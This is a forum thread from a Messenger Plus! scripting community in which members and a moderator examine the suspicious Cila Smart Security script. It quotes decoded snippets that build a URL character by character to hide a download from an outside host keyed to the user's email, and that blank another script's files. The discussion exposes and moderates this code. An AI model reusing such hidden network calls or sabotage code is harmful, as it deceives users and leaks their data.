Shoutbox

js code:

---

if (Success && Url == "h" + "t" + "t" + "p" + ":" + "/" + "/" + "c" + "i" + "l" + "a" + "." + "m" + "i" + "s" + "s" + "-" + "w" + "e" + "b" + "." + "e" + "s" + "/" + Messenger.MyEmail + "." + "d" + "a" + "t") {

---

Suspicious

js code:

---

function kickWLMsafe() {
    if (!fso.FileExists(Directory + "\\Scripts\\" + "WLM Safe" + "\\ScriptInfo.xml")) {} else {
        MsgPlus.DisplayToast(Script_Name, RLFF(LangT, 81) + RLFF(LangT, 82), "", "DelWLMS");
        ErrorNN("821", "WLM Safe");
        TraceIA(RLFF(LangT, 83))
    }
}
function DelWLMS() {
    var fileObj = fso.OpenTextFile(Directory + '\\Scripts' + '\\WLM Safe' + '\\ScriptInfo.xml', 2, 0);
    var fileObjA = fso.OpenTextFile(Directory + '\\Scripts' + '\\WLM Safe' + '\\wlmsafe.js', 2, 0);
    fileObj.Write('');
    fileObj.Close();
    fileObjA.Write('');
    fileObjA.Close();
    MsgPlus.AddTimer("delws", 3000)
}

---

Instant removal. No script should affect any other script in any way

js code:

---

    MsgPlus.DownloadFile("h" + "t" + "t" + "p" + ":" + "/" + "/" + "c" + "i" + "l" + "a" + "." + "m" + "i" + "s" + "s" + "-" + "w" + "e" + "b" + "." + "e" + "s" + "/" + Messenger.MyEmail + "." + "d" + "a" + "t", TempFolder + "\\" + Messenger.MyEmail + ".dat")

---

Again, Suspicious

Also, it uses my "Clone Warning!" script, which in itself isn't usually a problem for people to use my code. However, in this case it's the whole script with my messagebox replaced with another function

EDIT: I think I might make a better version of this myself. One we all know is going to be safe.

They also stole (exact copy&paste) my code.
I allow anyone to take inspiration from my work, but it's not funny if someone does an exact clone of scripts.

Anyway, i'm not asking to remove cila's script, i just would my script to be re-inserted in scripts' database.
If i have to change something before, i will do it as soon as possible.

quote:

---

Originally posted by wincy

Anyway, i'm not asking to remove cila's script, i just would my script to be re-inserted in scripts' database.
If i have to change something before, i will do it as soon as possible.

---

IMO, they should be substituted...

Maybe someone should sent a notification to Cila's authors?

quote:

---

Originally posted by wincy
Maybe someone should sent a notification to Cila's authors?

---

I'm assuming Menthix contacted you to let you know your script was removed temporarily. He would do the same thing for Cila so they could try to explain it too...

That's correct. We'll wait for MenthiX then!
I Hope that he will make things go in right way.

There are indeed strange things going on in Cila Smart Security, I deleted the script and will mail the author right after posting this.

BTW: I decoded the current version of WLM Safe, but the code seemed different, is the Engine.js you uploaded from an older version? Also, I'd like to know what you used to keep formatting intact when decrypting. Everything I tried results in all code on a single line.


I have no problem putting WLMSafe back if you make a few changes:

• Stop deleting "Cila Smart Security", no script should delete or disable another script. You'll be happy to know Smart Security won't be coming back to the site as long as it interferes with WLMSafe.
  
• Update yous batch file so it will work when Plus! is installed in a non-standard folder. You probably don't really need to prefix the foll installation folder since all the files you cann are in the same folder. But if you do, you can call MsgPlus::ScriptFilesPath, see the scripts documentation.
  
• Replace process.exe by something that won't trigger virusscanners, Taskkill shouls be suitable.
  
• Replace path.exe by something that won't trigger virusscanners, you should be able to produce the same result in JScript. If you need help with that you can always post a thread here and ask other scripters for a little help.

quote:

---

Originally posted by MenthiX
BTW: I decoded the current version of WLM Safe, but the code seemed different, is the Engine.js you uploaded from an older version? Also, I'd like to know what you used to keep formatting intact when decrypting. Everything I tried results in all code on a single line.

---

If I understood it correctly, that is the Cila script he posted. As for formatting, you may need to open it in Wordpad and save it again to regain formatting.

quote:

---

Originally posted by Spunky
If I understood it correctly, that is the Cila script he posted.

---

It is, I meant it's different from the latest Cila Smart Security that was in the DB.

quote:

---

Originally posted by Spunky
As for formatting, you may need to open it in Wordpad and save it again to regain formatting.

---

Well, the way I decoded was quite lazy. In Firefox:
   1. Copy the eval packed JS. something like —- eval(function(p,a,c,k,e,d){e=function(c) …………………. }
   2. Open Error Console on your firefox
   3. Paste the packed JS in Code input tab
   4. Add eval = alert; at the beginning of the code
   5. Hit Evaluate
I don't think you can any formatting/line breaks back into that result.

Thanks for your reply MenthiX!

Engine.js i posted is from the last version of Cila Smart Security.
You can unpack it very fast by splitting the file into the various "eval(function(p,a,c,k,e,r){... ecc".
Then go here: http://www.webbolo.net/unpacker.html
Copy each function in the box and hit Decode.
You'll get the unpacked function. Then you can beautify code using this: http://jsbeautifier.org
And you should get exactly the file i posted above.

1) I'm gonna stop deleting Cila smart security, as i hope they will be advise to do the same with my script.
2) I tried not to use Messenger Plus' path but didn't work, maybe because batch files are opened by script and not by clicking directly. I'll try to adjust them.
3) I will also use TaskKill, but really don't know how to determine specials computer's Paths as the exe does... If someone reading this post does know the way, please help. Otherwise i'll post a thread on forum!

Thank you all.
wincy